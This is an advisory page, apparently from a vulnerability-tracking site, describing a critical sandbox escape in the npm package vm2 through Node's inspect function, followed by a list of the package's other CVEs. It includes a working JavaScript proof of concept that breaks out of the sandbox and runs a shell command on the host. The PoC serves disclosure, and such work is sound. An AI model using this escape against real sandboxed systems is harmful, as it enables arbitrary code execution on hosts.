Critical

VM2 Has Sandbox Breakout Through Inspect Function

  • Disclosed: 05.05.2026
  • Updated: 11.10.2026 10:22

Summary

VM2 suffers from a sandbox breakout vulnerability through the inspect function. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system.

Details

The node inspect method allows to log details of objects. To get to the details, the implementation unwraps proxies. The unwrapped values can be extracted using the this.seen of the stylize function. This allows to get access to the internal proxy handler of VM2 which contains the sandbox object. Since the access to the handler is itself wrapped by a VM2 proxy, accessing the sandbox object in the proxy handler will result in a wrapped sandbox object given into the sandbox. This allows to write a wrapped host object to the wrapped sandbox object and read the raw host object from the raw sandbox object bypassing the proxy bridge.

PoC

js
const obj = {
	subarray: Buffer.prototype.inspect,
	slice: Buffer.prototype.slice,
	hexSlice:()=>'',
	l:{__proto__: null}
};

obj.slice(20, {showHidden: true, showProxy: true, depth: 10, stylize(a) {
	if (this.seen?.[1]?.objectWrapper) this.seen[1].objectWrapper().x = obj.slice;
	return a;
}});
obj.l.x.constructor("return process")().mainModule.require('child_process').execSync('touch pwned');

Impact

Attackers can perform Remote Code Execution under the assumption that arbitrary code can be executed inside the context of a vm2 sandbox.

Affected software

Click a technology to see all vulnerabilities affecting it.

PlatformPackageVulnerable versionsFixed in
npm package vm2 < 3.11.0 3.11.0

References

CVSS score 9.8/10
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Weakness (CWE)
CWE-693, CWE-94
Platform
npm
Package
vm2
Disclosed
05.05.2026
Updated
11.10.2026 10:22

Sources and licenses

OSV / GitHub Advisory Database - GHSA-v37h-5mfm-c47c - CC BY 4.0

Vulnerability history: vm2

All published vulnerabilities of this package (npm package), newest first. Shows whether this is a one-off slip or a package that needs watching.

All (78) in the archive
Total entries
78
First → latest
10.2021 10.2026
Without a fix
1
Exploited in attacks
0

Severity breakdown

  • Critical 51
  • High 14
  • Medium 12
  • Low 1

Disclosures per year

  1. 2021: 1
  2. 2022: 4
  3. 2023: 7
  4. 2024: 0
  5. 2025: 0
  6. 2026: 66
Severity:
  1. VM2 Has Sandbox Breakout Through Inspect Function this entry
    Critical · 9.8 CVE-2026-24781 < 3.11.0 3.11.0
  2. Critical · 10.0 CVE-2026-93605 < 3.12.1 3.12.1
  3. Critical · 10.0 CVE-2026-100721 < 3.12.2 3.12.2
  4. Critical · 10.0 CVE-2026-92955 < 3.11.8 3.11.8
  5. Critical · 10.0 CVE-2026-92956 >= 3.10.1, < 3.11.7 3.11.7
  6. Critical · 9.9 CVE-2026-92948 >= 3.9.6, < 3.11.7 3.11.7
  7. Critical · 10.0 CVE-2026-92940 >= 3.11.3, < 3.11.7 3.11.7
  8. Critical · 9.0 CVE-2026-92935 >= 3.11.4, < 3.11.7 3.11.7
  9. Critical · 10.0 CVE-2026-92937 >= 3.11.6, < 3.11.7 3.11.7
  10. Critical · 9.9 CVE-2026-92938 >= 3.11.3, < 3.11.7 3.11.7
  11. Critical · 9.9 CVE-2026-92939 >= 3.11.3, < 3.11.7 3.11.7
  12. Critical · 9.8 CVE-2026-92944 >= 3.10.2, < 3.11.7 3.11.7
  13. Critical · 10.0 CVE-2026-92941 >= 3.11.3, < 3.11.7 3.11.7
  14. High · 7.5 CVE-2026-92961 < 3.11.6 3.11.6
  15. Critical · 9.8 CVE-2026-47698 < 3.11.6 3.11.6
  16. Critical · 9.8 CVE-2026-47210 < 3.11.4 3.11.4
  17. Critical · 10.0 CVE-2026-47208 < 3.11.4 3.11.4
  18. Critical · 10.0 CVE-2026-47131 < 3.11.4 3.11.4
  19. Critical · 9.8 CVE-2026-45411 < 3.11.3 3.11.3
  20. Critical · 9.8 CVE-2026-44009 < 3.11.2 3.11.2
  21. Critical · 9.8 CVE-2026-44008 < 3.11.2 3.11.2
Show more (20) Showing 41 of 65

Know which vulnerabilities affect your application

With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.

Connect your application
DockRay newsletter

Application security in your inbox

Important vulnerabilities, actionable guidance and practical advice for your applications. Choose your technologies and follow what matters to your project.

  • A daily digest of new vulnerabilities, critical ones included.
  • Notifications about important updates.
  • Practical advice on application security and monitoring.

Leave empty to receive updates for every technology.

Free to subscribe. Unsubscribe with one click in any email.